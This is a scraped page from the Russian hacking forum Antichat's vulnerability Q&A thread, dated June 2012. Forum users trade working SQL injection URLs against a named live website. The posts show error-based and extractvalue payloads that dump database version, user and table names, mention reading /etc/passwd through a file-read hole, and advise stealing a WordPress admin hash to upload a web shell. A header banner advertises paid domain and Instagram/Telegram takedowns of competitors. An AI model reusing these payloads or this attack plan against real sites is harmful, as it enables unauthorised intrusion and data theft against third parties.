УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 2086 из 2438

2086

Опции темы

Поиск в этой теме

Опции просмотра

#20851

19.06.2012, 17:16

kingbeef

Новичок

Регистрация: 08.04.2010

Сообщений: 1

Провел на форуме:
70640

Репутация: 0

Цитата:

Сообщение от shadowrun

shadowrun said:
en.ayinger-bier.de/?pid=263+group+by+1+--+
Наставьте на правильный путь...

blind

#20852

19.06.2012, 17:20

shadowrun

Guest

Сообщений: n/a

Провел на форуме:
183267

Репутация: 84

Цитата:

Сообщение от kingbeef

kingbeef said:
blind

так не люблю

#20853

20.06.2012, 02:06

DJ ][akep

Познающий

Регистрация: 27.01.2008

Сообщений: 57

Провел на форуме:
355954

Репутация: 32

Ребят подскажите пожалуйста где находятся конфиги доступа бд в vbulletin 3.3

UPD: нашел ) Includes/config.php

#20854

20.06.2012, 02:57

trololoman96

Guest

Сообщений: n/a

Провел на форуме:
29020

Репутация: 55

Есть инъекция с читалкой файлов, нашел там раскрытие путей, но не могу прочитать этот файл, хотя он точно существует, зато могу прочитать /etc/passwd, апачевский конфиг. В конфиге нашел

PHP код:


		
			
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]# DocumentRoot: The directory out of which you will serve your

# documents. By default, all requests are taken from this directory, but

# symbolic links and aliases may be used to point to other locations.

#

[/COLOR][COLOR="#0000BB"]DocumentRoot[/COLOR][COLOR="#DD0000"]"/var/www/html"

[/COLOR][COLOR="#007700"]...

[/COLOR][COLOR="#FF8000"]# This should be changed to whatever you set DocumentRoot to.

#

[/COLOR][COLOR="#007700"]

[/COLOR][/COLOR]

Описаний виртуальных хостов я там не нашел. В раскритии путь выглядит иначе

PHP код:


		
			
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]home[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]site[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]public_html[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]music[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]p[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php[/COLOR][/COLOR]

Где правду искать ?

#20855

20.06.2012, 04:38

CyberKillerz

Guest

Сообщений: n/a

Провел на форуме:
7695

Репутация: -5

Есть инъекция даже не 1 немогу шелл залить помогите плиз

http://wow.igrosfera.net/acp/index.php?modul=static&id=3

#20856

20.06.2012, 05:22

trololoman96

Guest

Сообщений: n/a

Провел на форуме:
29020

Репутация: 55

Ну ты и наркоман, сам то читал что написал ?) Скуля твоя крутится как еррор басед без проблем

Код:

Code:
http://wow.igrosfera.net/acp/index.php?modul=static&id=3+or+1+group+by+concat%28%28select+concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29%29,0x3a,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+

там есть доступ к куче бд, походу ко всем что крутится на этом сервере, на одном из поддоменов крутится вордпресс бложек, понел к чему я веду ?

#20857

20.06.2012, 05:30

Redwood

Участник форума

Регистрация: 10.09.2009

Сообщений: 120

Провел на форуме:
2212846

Репутация: 56

Цитата:

Сообщение от CyberKillerz

CyberKillerz said:
Есть инъекция даже не 1 немогу шелл залить помогите плиз
http://wow.igrosfera.net/acp/index.php?modul=static&id=3

Код:

Code:
http://wow.igrosfera.net/acp/index.php?modul=static&id=3+and+extractvalue(1,(select+concat(0x2a,(select+table_name+from+information_schema.tables+where+table_schema!='information_schema'+limit+0,1))))

#20858

20.06.2012, 08:29

CyberKillerz

Guest

Сообщений: n/a

Провел на форуме:
7695

Репутация: -5

Цитата:

Сообщение от trololoman96

trololoman96 said:
Ну ты и наркоман, сам то читал что написал ?) Скуля твоя крутится как еррор басед без проблем

Код:

Code:
http://wow.igrosfera.net/acp/index.php?modul=static&id=3+or+1+group+by+concat%28%28select+concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29%29,0x3a,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+

Хм ты намекаешь на его уязвимость ? я просто начинающий )

#20859

20.06.2012, 09:33

smirk

Guest

Сообщений: n/a

Провел на форуме:
45774

Репутация: 26

Цитата:

Сообщение от CyberKillerz

CyberKillerz said:
Хм ты намекаешь на его уязвимость ? я просто начинающий )

он намекает, чтоб ты вытащил логин и хеш админа вордпресса и через этот блог залил шелл...

#20860

20.06.2012, 09:40

CyberKillerz

Guest

Сообщений: n/a

Провел на форуме:
7695

Репутация: -5

Цитата:

Сообщение от smirk

smirk said:
он намекает, чтоб ты вытащил логин и хеш админа вордпресса и через этот блог залил шелл...

а ни кто не поможет с брутом а то у мну с ним постоянная проблема ))

Страница 2086 из 2438

2086

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход